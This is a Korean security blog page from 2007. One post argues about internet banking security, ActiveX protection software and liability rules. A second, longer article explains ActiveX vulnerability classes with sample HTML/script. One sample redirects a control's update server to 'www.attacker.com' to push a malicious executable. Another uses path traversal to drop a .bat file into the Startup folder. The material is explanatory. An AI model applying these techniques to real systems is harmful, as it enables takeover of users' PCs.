분류 전체보기 (69)
Life Story (22)
Music Story (12)
My Play (10)
Security (20)
Scrap (3)
Virtualization (1)
기타연주  구글어스  기타  보안  마이클잭슨  Schecter  Jazz  블루스  hacking  가상화  schecter SD-II  Recording  Gartner  ActiveX  인터넷 뱅킹  전자정부  hijacking  웹 접근성  blues  jimi  연주  웹접근성  security  전자금융  웹표준  악플  srv  인터넷뱅킹  guitar  Virtualization 
 오픈웹 v. 금..
└>Open Web
 ActiveX 알고..
└>日常茶飯事
 Vista ActiveX..
└>SNAIPER의 조..
 마이클잭슨 내..
└>[Noenemy]'s m..
«   2017/06   »
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30  
+ VMblog.com -..
+ virtualizatio..
+ Virtualizatio..
+ VMTN Blog
+ Total : 71,559
+ Today : 0
+ Yesterday : 2
  

 

 

 

security _해당되는 글 9건
2007.07.07   인터넷뱅킹 서비스 보안에 대한 짧은 생각 (2)
2007.05.02   ActiveX 취약점에 대한 이해와 보안 (2)
2006.12.29   웹 접근성에 대한 소고 (6)
2006.12.26   Open API에 대한 보안적 관점에서의 소고 
2006.12.26   MySpace XSS 취약점에 대한 소고. 

 

인터넷뱅킹 서비스 보안에 대한 짧은 생각
+   [Security]   |  2007.07.07 08:36  

몇일전에 신문기사를 보다가 보니 인터넷뱅킹이 또 문제라는 기사가 눈에 띄더군요. 기사 제목은 공인인증서가 뚫렸다는 식으로 나온 것 같은데, 내용을 들여다 보니 사실은 공인인증서 자체가 뚫린 것이 아니라, USB 키보드에 대한 키로깅 방지가 제대로 되지가 않아서 사용자의 PC에 접근한 악의적 공격자에 의해 사용자가 금융정보를 입력하는 순간 모든 정보가 Intercept 될 수 있다는 내용이더군요.

제 개인적으로는 최근에 인터넷 뱅킹에 대해 많은 생각을 하게 되는데, 사실 이러한 부분은 명확한 답을 제시하기 참으로 어려운 부분이 많은 것은 분명해 보입니다. 분명한 것은 보안성을 높이면 서비스 품질이 떨어지고, 서비스 품질을 높이면 보안성이 떨어지는 것이 사실입니다. 이 두개가 공존하는 환경을 만드는 것은 참으로 쉬운일이 아닌 것 또한 분명해 보입니다.

해외의 경우에도 이러한 사건 사고의 예외는 아니어서, OECD보고서의 Policy Brief(Oct, 2006)에 나와있는 사례에서는... 영국의 Payment Clearing Services(이거 뭐라고 번역해야 하는지... OTL) 연합회의 레포트에 따르면, 인터넷 뱅킹의 사기(Fraud)에 의한 피해액이 2005년 6월에 1,450만 파운드(261억원 정도, 1파운드를 1800원으로 계산)였으며, 6개월후에 3배 이상이라고 되어있어, 우리나라의 인터넷 뱅킹 손해액에 비해 엄청난 금액이라는 것을 알 수 있습니다. 해외의 인터넷 결재 또는 뱅킹이 안전하다고 우겨대는 분들도 있는데, 정말 그것은 착각이지요.

In the United Kingdom, the Association for Payment Clearing Services reported that bank's losses from internet banking fraud more than trebled to GBP14.5 million for the six months to June 2005.

우리나라의 경우에는 현행 법적으로 사용자의 과실이 분명한 경우(인터넷뱅킹 사용자가 자신의 ID, Password, 이체보안카드 번호 등을 공격자에게 알려주는 극단적인 경우)를 제외하고 모든 것이 전자금융을 제공하는 서비스 사업자(은행)의 책임입니다. 문제는 은행들은 일반 사용자의 PC 보안 상태가 인터넷 뱅킹서비스를 하기 위한 조건에 맞는지를 신뢰할 수 없기 때문에 사용자의 PC에 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing과 같은 도구를 강제로 인스톨하게 됩니다.

물론 사용자가 허가를 해야 인스톨이 되는 조건을 거치게 되지만, 사용자가 "No"를 선택하게 되면, ActiveX를 통한 보안도구들은 안깔리게 되겠지만, 결론적으로 이러한 보안 프로그램이 안깔리게되면, 정상적인 인터넷 뱅킹 서비스는 꿈도 못꾸기 때문에 사실은 강제적 서비스라고 보는 것이 좀 더 맞다고 봅니다.

문제는 이러한 보안 프로그램들은 은행들도 별로 좋아하지 않는다는 점 입니다. 일전에 Conference에서 세션발표 후 금융권 담당자와 잠시 이야기를 하는데, 콜센터에 접수되는 불만의 최소 50% 이상은 이러한 보안프로그램 때문에 발생한다는 푸념을 하더군요.

인터넷뱅킹을 위해 사이트에 접속하면 은행에서 설치해 놓은 온갖 보안 프로그램들이 존재하게 되는데, 웬만한 지식을 가진 사람이면 다 역공학(리버스엔지니어링, Reverse Engineering)을 해 볼 수 있고, COM 이나 OCX에 대한 지식만 조금 있으면 Control을 마음대로 조작할 수도 있다는 문제점 외에도 S/W 및 OS간의 충돌 문제는 심각할 정도입니다. 몇군데의 은행을 동시에 접속해 놓으면 블루스크린이 뜰 정도라는 이야기는 어제 오늘의 이야기가 아닙니다.

그럼에도 불구하고, 은행들이 이러한 보안프로그램을 놓지 못하는 이유는 인터넷뱅킹 서비스의 존재 이유와도 같다고 봅니다. 그것은 보안이지요. 금융 서비스의 제1 원칙은 다양한 접속경로나 환경을 보장하는 것이 아니라 보안성 유지라는 원칙은 반드시 지켜져야 한다는 것 입니다. 이러한 보안성 유지를 감사(Audit)하는 곳이 금융감독원인데, 금융감독원에서는 전자금융과 관련한 가이드라인을 마련하고 이의 준거성 여부를 감사(Audit)하는 역할을 합니다.

많은 분들이 질문을 합니다. 해외의 Paypal과 같은 서비스는 우리나라와 같이 ActiveX 로 작동하는 보안프로그램이 없어도 잘 서비스 하는데, 왜 유독 우리나라는 웹 표준도 아닌 ActiveX를 이토록 고집하여 우리나라의 금융환경을 세계 표준이 아닌 대한민국의 표준으로 전락시켜버렸냐고.

자, 그렇다면 우리나라의 금융감독기준을 토대로 만약 해외 유수의 인터넷 뱅킹이나 Paypal과 같은 서비스에 대해 우리나라의 전자금융 보안을 위한 가이드라인을 적용시켜 감사(Audit)을 하면 어떤 결과가 나올까요? 제 생각에는 틀림없이 해외의 인터넷 뱅킹이나 paypal 서비스는 우리나라의 기준으로 볼 때, 분명히 불합격 판정을 받을 것이라고 봅니다. 사실 우리나라의 전자금융 감독 규정은 세계적으로 봐도 뒤떨어지지 않으며, 오히려 현실을 감안할 때 지나치게 과민한 부분이 있을 정도라고 봅니다. ActiveX 하나 없는 외국의 금융 서비스가 안전하다고 말씀하시는 분들도 많은 것 같습니다만, 안전한 서비스라는 것이 진정으로 존재할 수 있다고 생각하시는지 저는 오히려 물어보고 싶습니다. 그 어떤 서비스에도 Potential Risk는 존재할 수 밖에 없으며, 실제 해외에서의 금융사고 건수와 피해발생 규모를 비교해 볼 때 우리나라의 인터넷뱅킹 서비스는 그나마 안전하다고 말할 수 있을 정도입니다. (위의 OECD문서만 봐도 짐작 하실 수 있을겁니다)

해외의 경우에는 사용자의 PC 환경에 대해서는 사용자에게 맡기며, 사고가 발생해도 보험이나 보상 서비스를 통해서 고객의 손실을 배상하는 경우가 대부분입니다. 따라서 해외의 전자금융 사업자는 사용자의 PC의 환경을 최소한의 신뢰적인 환경으로 만들기 위해 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing과 같은 도구를 인스톨 할 필요성이 없다는 점이 가장 차이가 나는 점이라고 생각합니다. paypal의 경우에는 OTP(One Time Password)를 2007년 2월에 도입한다고 할 정도니까, 인증 방식에 대해서는 국내와 비슷해지는 것도 같군요. 말이나와서 말인데, Paypal 서비스는 그들 스스로의 자기중심적 서비스로 엄청난 비판을 받는 서비스 입니다. 여기를 보시면 Paypal의 폭력적 서비스 형태를 미리 경험하실 수도 있습니다.

제가 보기에 우리나라의 인터넷 뱅킹은 정부에서 사용자의 금융사고에 대한 책임을 금융사업자가 지게 되는 현행 구조때문에 금융사업자가 좋던 싫던 사용자의 PC에 뭔가를 끊임없이 인스톨 시킬 수 밖에 없는 구조입니다. 따라서 현행 법률체계를 유지하는 상황에서 기술적인 부분만을 토대로 웹 접근성 강화와 전자금융 보안성 강화라는 두마리의 토끼를 잡는 것은... 저는 불가능하다는 결론을 내렸습니다. 정말 오랫동안 고민해 봤습니다.

제가 보기에는 정부와 금융사업자의 입장에서는 금융사고에 대한 책임을 사용자가 증명하고 책임지게 하는 해외 사례로의 변경이 가장 욕안먹고 손털수 있는 방법이라고 봅니다. 이렇게 되면, 사용자의 PC에 특별한 ActiveX 보안프로그램을 돈써가면서 깔아줄 필요성도 없고, 콜센터에 접수되는 불만의 50% 절감으로 인해 금융사업자는 상당량의 인건비 절감까지도 가능하게 될 겁니다. 물론 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing 설치가 필요없기 때문에 조금만 신경쓰면 다양한 환경에서의 접속요구를 모두 받아들여지게 될지도 모릅니다.

하지만, 사용자의 PC를 인터넷뱅킹서비스를 접속하였을때, 항상 안전하게 유지할 수 있는 전문가가 인터넷 뱅킹 사용자의 몇 퍼센트나 되겠는가? 라는 질문을 스스로 던져보면, 이 방법도 아니라는 생각이 듭니다. 만약 이렇게 된다면, 제 아버지나 어머니와 같이 컴퓨터에 익숙하지 않은 대다수의 인터넷 뱅킹 사용자는 "인터넷 뱅킹을 포기하거나 위험을 감수하고라도 인터넷 뱅킹을 쓰겠다면 써라! 다만, 그에 대한 책임은 당신이 지면 된다"라고 하는 것과 같은데... 이러한 것이 과연 옳으냐는 겁니다.

또 한가지의 문제는 공인인증서의 경우에는 대체 기술로 가능할 수도 있겠습니다만, Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing에 대한 대책은 어떻게 세워나갈 것이냐는 문제 입니다. 그 어떤 보안전문가도 위에서 열거한 보안프로그램이 특정 OS나 브라우저 환경에서는 필요없다고 이야기 하지 않습니다. 사실은 은행이 제공해 주지 않더라도... 인터넷 뱅킹을 사용하지 않더라도 사용자는 위에서 열거한 보안프로그램을 필요로 합니다.(이젠 제발 MAC이나 LINUX이기 때문에 바이러스나 웜에 걸리지 않는다는 말도 안되는 소리 좀 그만 합시다. TCP/IP 안쓰시는 분이라면 가능할 수도 있기는 할 것 같습니다만...)

제가 생각하는 인터넷 뱅킹의 문제 해결 방식은 다음과 같습니다.

1. 자유로운 접근성 보장
==> 누구나 어떤 OS나 브라우저를 이용하더라도 인터넷 뱅킹이 가능하도록 하는 겁니다. Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing 프로그램이 PC에 반 강제적으로 인스톨이 된 상태에서만 인터넷 뱅킹 서비스의 이용을 가능하도록 하는 현재의 형태를 좀 바꾸어 보자는 겁니다.

다만, 금융감독기관이 권고하는 보안프로그램을 갖추지 않은 접속 형태의 경우에는 금융기관이 사고의 책임을 지지 않도록 하면 됩니다. 스스로의 PC를 지켜낼 수 있는 탁월한 능력이 있거나, 특정 OS나 브라우저를 쓰면 보안 문제가 해결된다고 믿는 사람들은 이 서비스를 이용해 인터넷 뱅킹을 사용하도록 하면 어떨까요? 물론 이때 공인인증서 환경은 기존의 ActiveX 형태이어서는 안되겠지요.
 
금융감독기관도 개인이 선택한 접속 환경에 대해서... 또한 스스로가 인터넷 뱅킹 서비스를 이용하는데 따른 역할과 책임을 분명히 명시한 상태에서 사용자의 선택을 존중해주어야 할 필요성이 있다고 봅니다. 세상이 변한만큼 법률도 좀 바꾸도록 하는 것이 어떨지 싶습니다.

2. 보안프로그램 재설치 금지
==> 저는 윈도우즈 환경에서 인터넷 뱅킹 서비스를 사용하는 사용자의 한명 입니다만, 제 PC에는 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing은 물론이며, Anti-Spyware 프로그램까지 존재합니다. 하지만 이러한 보안 장치가 이미 존재해도 인터넷 뱅킹 사이트에 접속하면, 여전히 Anti-Keylogger, PC Firewall, Anti-Virus, Anti-Phishing 등의 프로그램을 깔아버립니다. 저는 필요없는데도 이러한 프로그램을 설치해야만 인터넷 뱅킹 서비스를 이용 할 수 있기 때문에 보안프로그램이 존재함에도 불구하고 재설치를 해야만 합니다. 솔직히 저도 이러한 서비스는 정말이지 짜증납니다. 요즘에 자동 업데이트 기능이 없는 보안프로그램이 있던가요? 다 있습니다. 따라서 보안프로그램의 Latest Patch 또는 Update 적용여부의 확인이 불가능하기 때문에 최신 설치본을 깔아야 한다는 논리는 통하지 않습니다.

3. 환경 변화의 수용
==> 이젠 사용자가 Microsoft사의 운영체제 또는 특정 브라우저만을 통해 접속할 것이라는 환상을 버리도록 합시다. 사실은 이게 가장 중요합니다. 어느 하나의 기업이 10년 20년씩 독점적 기술을 통해 IT 환경을 지배하는 시대가 이젠 끝나갑니다. 급격하게 사용자의 접속 환경은 변화하는데, 언제까지 윈도우와 인터넷익스프롤러를 통해 인터넷 뱅킹 서비스에 접속 할 것이라는 믿음을 지켜나갈 것인지요?

4. 차세대 인터넷뱅킹 아키텍처의 통합적 TO-BE Model의 수립
==> 최소한 PC 사용자를 위한 차세대 플랫폼에 대한 TO-BE 모델 정립을 이제부터라도 좀 통합적으로 수립하는 겁니다. AS-IS가 지금까지의 혼란이었다면, 향후에는 국내의 모든 금융사업자가 쉽게 이용할 수 있도록 세계표준에 맞는 인터넷 뱅킹 서비스의 제공을 위한 연구를 좀 했으면 합니다. 웹표준, 서비스, 보안 등 차세대 인터넷 뱅킹 아키텍처의 수립을 위한 Masterplan을 좀 가져보자는 것 입니다.

생각해보면 사용자의 PC 보안 상태... 또는 단말기의 유형이나 운영체제의 종류에 따라 접속 환경을 구성하고 보안프로그램을 필요로 하는 감독규정은 가까운 미래에 쓸모없게 될지도 모른다는 생각이 드는군요. 앞으로 인터넷 뱅킹 서비스를 이용하기 위해 접속하는 단말기의 대부분이 PC가 아닐지도 모르기 때문입니다.


신고
크리에이티브 커먼즈 라이선스
Creative Commons License

 
 
     ActiveX, banking, security, 보안, 웹접근성, 웹표준, 인터넷 뱅킹, 인터넷뱅킹
     0   2
BlogIcon hard drive liquidation 2008.05.23 04:23 신고
나는 합의한다 너에 이다. 그것은 이렇게 이다.
BlogIcon nude female model freepics 2008.05.23 05:25 신고
재미있는 아주 지점. 감사.

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

ActiveX 취약점에 대한 이해와 보안
+   [Security]   |  2007.05.02 21:10  

정보보호 관련 잡지에 연재중인 ActiveX 관련 2회 내역. 개인적으로는 중요한 회사일과 원고마감일이 겹쳐서 무척이나 힘들었다.

(참조 이미지도 상당량인데, 이미지 업로드에 대한 귀차니즘 때문에 이미지는 전체 생략. OTL)

-----------------------------

[
글 싣는 순서]

 

1. 비판적 시각에서의 ActiveX 기술

2. ActiveX 취약점에 대한 이해와 보안 <-- 이번회

 

ActiveX 1996년 초에 발표되었으며, 잘 알려진 바와 같이 ActiveX COM(Component Object Model)의 확장판의 성격을 가지며, DCOM(Distributed COM)을 거쳐서 현재의 .NET 전략으로 통합되는 양상을 띄고 있다. 사실상 ActiveX SUNJAVA에 대한 대안의 성격으로 발표되었다고 보는 것이 맞다고 보며, 당시 마이크로소프트의 API 혁명이라고 불릴만한 OLE(Object Linking and Embedding) 기술은 OLE로 연결된 개체가 다른 응용프로그램에서도 적용되고, 작동될 수 있도록 하는 것을 의미한다. 물론 이러한 것은 DOS 시절에는 불가능하던 것들 이었다.

 

위에서도 잠시 언급했지만, ActiveX SUNJAVA에 대한 아류작 정도로 생각하는 경우도 존재하는데, MS SUNJAVA에 대한 대안적 의미의 기술을 제시했지만, 그 적용 방식에 있어서는 SUNJAVA와 상당한 차이를 보이고 있다. 간단히 몇 가지만을 보면 아래와 같다.

 

구분

ActiveX

JAVA

플랫폼 의존성

플랫폼 의존

플랫폼 독립적

구현 언어

다양한 언어로 구현 가능

JAVA AppletJAVA로만 구현 가능

해석 방식

Compile 방식

Interpreter 방식

속도

빠름

상대적으로 느림

구현

IE에서 동작

거의 모든 브라우저에서 동작

 

JAVA의 기본 보안 모델은 신뢰할 수 없는 코드를 샌드박스(Sandbox, 아이들이 다치지 않고 놀 수 있는 모래로 만들어진 공간으로써, 안전한 공간 또는 격리된 공간을 의미)에서 실행하지만, ActiveX의 기본 보안 모델은 신뢰할 수 없는 코드는 아예 실행하지 않는 모델이라고 볼 수 있다. 따라서 ActiveX Sandbox에서 실행된다는 개념은 없으며, 이미 수없이 많이 본 저작자 서명된 컨트롤을 허용할 지의 여부를 물어보게 되는데, 사실 이 신뢰 모델의 중심에는 전자서명(Digital Sign)이 있다. 이러한 전자서명은 개발자가 배포한 올바른 배포본이 맞는지, 다른 누군가에 의해 배포본이 수정되지는 않았는지의 여부를 효과적으로 검증 가능하게 한다. 문제는 전자서명이 되어 있다고 해서 이것이 악의적인 공격 코드를 포함하고 있는지, 특정 시스템 명령을 악용하는지 등 안전성 여부에서 자유롭다는 것을 의미하지는 않는다.

 

Although code signing can guarantee the identity of the control author and guarantee that the control has not been tampered with, it does not guarantee that the code is free from errors and security vulnerabilities

Source : 288P, WRITING SECURE CODE, MICROSOFT PRESS.

 

문제의 중심에는 바로 이러한 신뢰모델이 문제가 되는데, MS는 기본적으로 서명된 ActiveX 컨트롤은 허용하고, 서명되지 않은 ActiveX 컨트롤은 불허하는 방식이다. 설명만 들으면 그럴 듯 해 보일 수도 있으나, 이것은 서명된 ActiveX 컨트롤이 올바른 배포본이고, 악의적인 코드가 포함되어있지 않다는 필요충분조건이 만족해야 가능한 시나리오이다. 또한, 사용자는 특정 서비스를 이용하기 위해 본인이 명확히 모르고, 원하지도 않는 ActiveX 컨트롤의 허가 및 불허 여부를 강요당하는데, ActiveX의 컨트롤 운영 방식은 전부가 아니면 허용하지 않는 방식이기 때문에 무심코 받아들인 ActiveX 컨트롤은 사용자가 할 수 있는 모든 접근권한을 갖게 된다고 볼 수 있다. 이때, 사용자의 시스템에 존재하는 특정 개인정보를 빼가거나, 시스템 명령 수행을 통해 악의적 행위가 이루어지게 되면, 사실상 사용자가 할 수 있는 일은 거의 없다고 보면 된다. 바로 이러한 부분에서 JAVA ActiveX는 현격한 구현상의 차이를 보이는 부분이기도 하다.

 

보안 측면에서 ActiveX가 갖는 의미는 공격 방식의 변화를 의미하며, 기존의 PC<->System, PC<->Network, PC<->PC 1차원적 공격을 벗어났다는 것을 의미한다. 기존의 공격 방식은 1:1 공격이 주류를 이루고, 이러한 공격 방식은 Layer 4(Transport Layer) 기반의 IP, Port 기반의 접근제어(Access Control)로 방어할 수 있는 성격의 취약점 들 이었다. 하지만, 이러한 공격 방식은 공격자들에게는 하나의 장벽이지만 뛰어넘지 못할 정도의 것은 아니었으며, 새로운 공격방식으로 등장한 어플리케이션 취약점에 주목하기 시작했다.

 

이는 WWW의 폭발적인 성장으로 인해 인터넷이 업무 그 자체가 되는 시대에 웹 클라이언트에서 이용 가능한 자바스크립트나 VB 스크립트와 같은 프로그래밍 언어 및 자바애플릿과 ActiveX 컨트롤 등의 개념이 지속적으로 생겨나면서 공격자와 사용자 사이에 다양한 커뮤니케이션의 연결고리가 생겼다는 것을 의미하며, 이는 공격 방식이 기존의 1:1에서 1:n으로 변화되었다는 것을 의미한다. 이는 기존의 공격 방식이 Layer 4(Transport Layer)에서 Layer 7(Application Layer) 계층으로 변화되었다는 것을 의미하며, 좀 더 정확히는 기존의 접근제어 체계를 우회하여 효과적으로 공격 가능한 루트 확보에 성공했다는 것을 의미한다. 따라서 공격자가 어플리케이션 공격에 주목했다는 의미는 기존의 IP, Port 기반의 접근제어(Access Control)의 영향을 받지 않는다는 것이라고 볼 수 있으며, 좀 더 정확히는 기존의 방화벽 기술이 이러한 어플리케이션 기반 공격을 전혀 막아내지 못한다는 것을 의미한다. 최근에 시장에서 선보이고 있는 웹 방화벽이나 각종 컨텐츠 필터링 계열 장비들의 존재는 바로 이러한 기존 방화벽과 같은 접근제어 체계의 현실적 한계성에서 비롯된다고 할 수 있다.

 

대한민국의 경우에는 그야말로 ActiveX의 천국이며, MS가 꿈꾸어왔던 ActiveX가 할 수 있는 모든 것이 대한민국의 거의 모든 사이트마다 구현되어 있다고 보면 정확할 듯싶다. 우리나라의 정보보호기반시설에서 사용되는 보안시스템은 국가의 평가 및 인증제도를 거친 안정성 높은 시스템을 이용하도록 장치가 마련되어 있으나, 어플리케이션 구현 내역에 대해서는 주기적으로 홈페이지 리뉴얼 및 개편과 같이 수시로 변화하는 특성 때문에 이러한 검증제도의 구현이 현실적으로 어려우며, 개발자에 의해 구현된 ActiveX 컨트롤에 대해서 평가 및 인증제도를 거치는 경우 또한 없다. 따라서 ActiveX 컨트롤의 보안성은 개발자의 보안지식에 의존할 뿐 ActiveX 컨트롤에 대한 시스템적인 평가와 인증과 같은 검증절차를 거치는 경우는 없다고 보는 것이 정확할 듯싶다.

 

ActiveX 컨트롤을 설계하는 개발자는 보안적인 측면에서 악용이 가능한 기능을 제공하지 않거나, ActiveX 컨트롤이 불완전한 Method, Property등을 제공하고 있다면, 이러한 서비스 제공 여부를 판단하여, 검증하고 구현한 후 배포가 이루어져야 하지만, 현실은 그렇지 못하며, 일반적인 어플리케이션 개발과 마찬가지로 RFP(Request for Proposal)에 명시된 기능 목록을 만족하면 검수가 되는 일반적인 절차를 거친다.

 

불특정 다수에게 서비스가 되는 어플리케이션을 개발할 때는 유의해야 할 사항이 많다는 것을 알 수가 있는데, 오피스 프로그램, 뷰어, ActiveX 등이 그 예가 될 수 있다. 공격자는 이러한 어플리케이션 간의 연결고리를 분석하고 취약점의 존재 여부를 검증하며, 동시에 공격에 이용 가능한 PoC(Proof of Concept) 코드를 작성하게 되는데, 최근에 많은 취약점이 쏟아지고 있는 오피스 계열의 취약점의 경우, 조작된 문서를 읽게 되면 사용자 PC의 권한 획득이 가능한(일반적으로 오피스 계열의 취약점은 Classical Buffer Overflow 또는 Race Condition 취약점이 대부분이다) 경우가 존재하는 등, 다양한 부분에서 역공학(Reverse Engineering) 등의 기법을 통한 취약점이 맹위를 떨치는 이유는 개발자의 개발 산출물에 대한 보안성 검증이 의외로 허술하다는 점에 기인한다.

 

기존에 발견되었던 ActiveX 컨트롤 취약점을 다시 한번 분석해 보면 그 유형이 아래와 같음을 알 수 있다.

 

1. 로컬 자원에 접근 가능한 Method를 직접적으로 제공

2. 업데이트 기능을 악용하여, 정상적인 배포본이 아닌 조작된 배포본을 받게 하는 행위

3. 정교하게 조작된 입력값을 통해 정상적 로직을 Bypass 하는 경우

4. Method Property 등의 입력 값에 대한 버퍼 오버플로우

 

위의 내역을 살펴보면 사실 별 것 아닐 수도 있는 취약점이거나 설마 저런 것도 검증이 안될까라고 생각되는 부분도 존재하는 것을 볼 수가 있는데, 현업에서 보안 컨설팅을 하다 보면 이러한 문제점이 10곳 중에서 7곳에서는 나오는 취약점 유형임을 감안해 본다면, 이러한 검증 걸차가 이루어지지 않거나, 보안의 심각성 자체를 인지하지 못하는 경우가 대부분이다.

 

ActiveX 컨트롤은 자바 애플릿과는 달리 파일이나 레지스트리에 대한 접근이 가능하다. 또한, 일반적인 윈도우 어플리케이션과는 달리 공격자가 웹 인터페이스를 통해 누구나 언제든지 실행할 수 있다는 점이 특징적이다.

 

<OBJECT ID="update" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:9D01F646-">

<PARAM NAME=nam VALUE=12>

</OBJECT>

 

<script>

 

update.StartUpdate()

 

</script>

[Object Tag Script를 이용한 호출]

 

그렇다면 ActiveX 컨트롤은 도대체 어느 정도에 쓰여지는지를 알아보면, 윈도우 기본 컨트롤은 물론이며, 메신저 프로그램, 동영상 및 음악 플레이어, 온라인 게임설치 프로그램, 공인인증서, 보안프로그램(키로거, PC 방화벽, 스파이웨어 등) 등에서 사용되고, 이는 거의 모든 국내 사이트에서 ActiveX 컨트롤이 사용되고 있음을 의미한다. 문제는 이러한 ActiveX 컨트롤의 설치 여부를 사용자가 오판하여 문제가 발생하는 경우 외에도 2002년 이후에 나오는 대부분의 애드웨어 등은 ActiveX 또는 IE 취약점을 이용하는 경우가 대부분이며, 이러한 취약점을 이용하기 때문에 확인 버튼을 누르는 것과는 관계없이 자동으로 설치되는 경우가 대부분이다.

 

[이미 악성코드가 설치된 웹 서비스]

[악성코드가 숨겨진 스크립트 내역]

 

따라서 사용자는 본인의 의지와는 관계없이 특정 악성코드가 설치된 웹 사이트를 방문하는 것 만으로도 악성 ActiveX 컨트롤이 설치된다. 이러한 경우, 최소한의 PC 보안 장치 조차 없는 경우에는 거의 사용자는 무방비 상태로 방치되며, 사용자는 보안에 대한 상당 수준의 지식이 없으면, 이러한 악성 컨트롤이 설치된 여부를 알지 못하는 경우가 일반적이다. 사실 이러한 경우에는 해당 사이트 규모에 따라서 엄청난 규모의 피해가 나타날 수도 있는데, 공공 사이트 또는 포털 사이트 및 SNS(Social Network Service) 사이트 및 게임 사이트의 경우에는 단일 사용자가 1,000만명을 넘는 경우도 존재하는데, 각종 스크립트 인젝션 등의 자체 취약점을 이용하거나, ActiveX 컨트롤 취약점을 이용하게 될 경우, 1,000만명이 사용하는 PC 전체의 권한의 획득은 물론이고, 개인정보의 획득 또한 가능하게 된다.

 

<OBJECT classid="CLSID:ABCDEFGH-123A-1234-ABAB-AAAAAAAAAAAA"  codebase="http://100.100.100.100:80/Vulnerable.cab#version=2,5,6,6" id=OBJECT1" id="OBJECT1" id="Vulnerable" id="Vulnerable"

 height=1 id="Vulnerable" style="HEIGHT: 1px; LEFT: 1px; TOP: 1px; WIDTH: 1px"

 width=1 VIEWASTEXT>

 <PARAM Name="Server_IP" value="100.100.100.100">

 <PARAM Name="Server_PORT" value="80">

 <PARAM Name="IVER" value="2,5,4,55">

 <PARAM Name="LoadStart" value="TRUE">

 <PARAM Name="Debug" value="FALSE"></object>

[업데이트 관련 취약성이 존재하는 ActiveX 컨트롤]

 

위 스크립트를 보면, 인터넷 익스프롤러(이하 IE)는 위 스크립트를 실행하고 Server_IP라는 인자에 설정된 주소로 업데이트 요청을 시도하는 것을 확인 할 수 있다. 위 스크립트의 경우 http://100.100.100.100/Vulnerable/Vulnerable.exe를 다운로드 받도록 되어있었다. 그러나 위 스크립트는 사용자 브라우저에서 실행되어지는 것이므로 관련 스크립트에 정의된 Server_IP와 같은 인자값이 조작되는 것이 가능하였다.

 

<OBJECT classid="CLSID:ABCDEFGH-123A-1234-ABAB-AAAAAAAAAAAA"  codebase="http://100.100.100.100:80/Vulnerable.cab#version=2,5,6,6" id=OBJECT1" id="OBJECT1" id="Vulnerable" id="Vulnerable"

 height=1 id="Vulnerable" style="HEIGHT: 1px; LEFT: 1px; TOP: 1px; WIDTH: 1px"

 width=1 VIEWASTEXT>

 <PARAM Name="Server_IP" value="www.attacker.com">

 <PARAM Name="Server_PORT" value="80">

 <PARAM Name="IVER" value="2,5,4,55">

 <PARAM Name="LoadStart" value="TRUE">

 <PARAM Name="Debug" value="FALSE"></object>

[업데이트 위치를 조작한 경우]

 

만약 공격자가 위 스크립트에서 Server_IP를 자신의 공격용 서버로 변경하고 자신의 서버에 악성코드가 심어진 Vulnerable.exe 업데이트 파일을 올려놓을 경우, 공격자는 해당 사용자 PC의 관리자 권한을 획득하는 것이 가능하게 되었다.

 

                    [사이트 방문시 자동으로 악성코드가 인스톨된 상태]

 

이처럼 이미 신뢰상태에 있는 ActiveX 컨트롤의 업데이트와 같은 방법을 통해 확인절차 하나 없이도 공격자는 스스로의 악성 코드를 사용자에게 이식시킬 수 있고, 심지어 원격에서 조정도 가능하다.

 

                                            [악성 코드가 삽입된 메일 발송]

 

위의 그림에서는 일반적인 메일 서비스를 이용해서 악성코드가 삽입된 메일을 발송한 예가 된다.


 

[ActiveX 컨트롤 취약점을 이용하여 IRC 채널을 통한 원격 PC 접속]

 

위 그림에서는 ActiveX 컨트롤 취약점을 이용하여 스크립트가 삽입된 악성 메일을 특정 사용자에게 보내게 되면, 사용자는 의심 없이 해당 메일을 받아들임과 동시에 악성 코드에 감염이 된다. 이러한 경우, 공격자는 방화벽을 우회하여 기업 내에 존재하는 원거리 시스템을 실시간으로 조작할 수 있을 정도의 권한의 획득이 가능해 진다. 이러한 경우 하나의 조직 내에 이러한 취약점이 존재할 경우, 해당 조직에서 사용하는 전체 PC의 권한 획득이 가능함은 물론이며, 특정 기밀 정보의 유출 또한 가능해 진다. 또한, 엄청난 수의 사용자가 방문하는 웹 사이트에 이러한 취약점이 존재할 경우에는 재앙이라고 표현 가능할 정도의 파급도가 예상된다.

 

이러한 ActiveX 관련 취약점 유형에는 위에서 언급한 업데이트 관련 내역 말고도 상당한 응용이 가능한 취약점 유형이 다수 존재하고 있는데, 대략적인 내역을 살펴보면 다음과 같다.

 

 

 

 

1. File Read/Write Method 조작

 

<OBJECT ID=mymusic" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:AAAAAAAA-A1B1-ABCD-AAAA">

</OBJECT>

 

<script>

Mymusic.SetBannerImage(http://vulnerable.co.kr/big.gif);

</script>

// 원래의 저장 경로 : c:\program files\mymusic\data\big.gif

[정상적인 File Read/Write Method]

 

<OBJECT ID=mymusic" WIDTH=0 HEIGHT=0

 CLASSID="CLSID: AAAAAAAA-A1B1-ABCD-AAAA ">

</OBJECT>

 

<script>

Mymusic.SetBannerImage(

http://vulnerable.co.kr/..\..\.\documents and settings\All users\시작 메뉴\프로그램\big.bat);

</script>

// 조작된 저장 경로 : c:\Documents and Settings\All users\

시작 메뉴\프로그램\시작프로그래\big.bat

[조작된 File Read/Write Method]

 

위의 경우에는 File Operation 기능을 우회하여, 임의의 경로에 존재하는 임의의 파일을 쓰거나 실행시킬 수 있었다. 현재 국내에서 상당히 많은 수의 사이트에서는 Read/Write File과 같이 직접적인 Method를 제공하는 ActiveX 컨트롤도 다수 존재하며, 이러한 경우에는 개발자가 미처 생각지 못했던 Method, Property를 호출해 우회적으로 임의의 파일을 쓰거나 실행시키는 공격방식이 존재한다. 위의 경우에서는 파일 쓰기권한을 획득한 경우 기존 파일을 덮어쓰거나, c:\documents and settings\All users\시작 메뉴\프로그램\시작프로그램 폴더에 파일을 생성해 다음 번 로그인 또는 부팅 시에 파일이 악성 파일이 자동으로 실행되게 할 수 있었다.

 

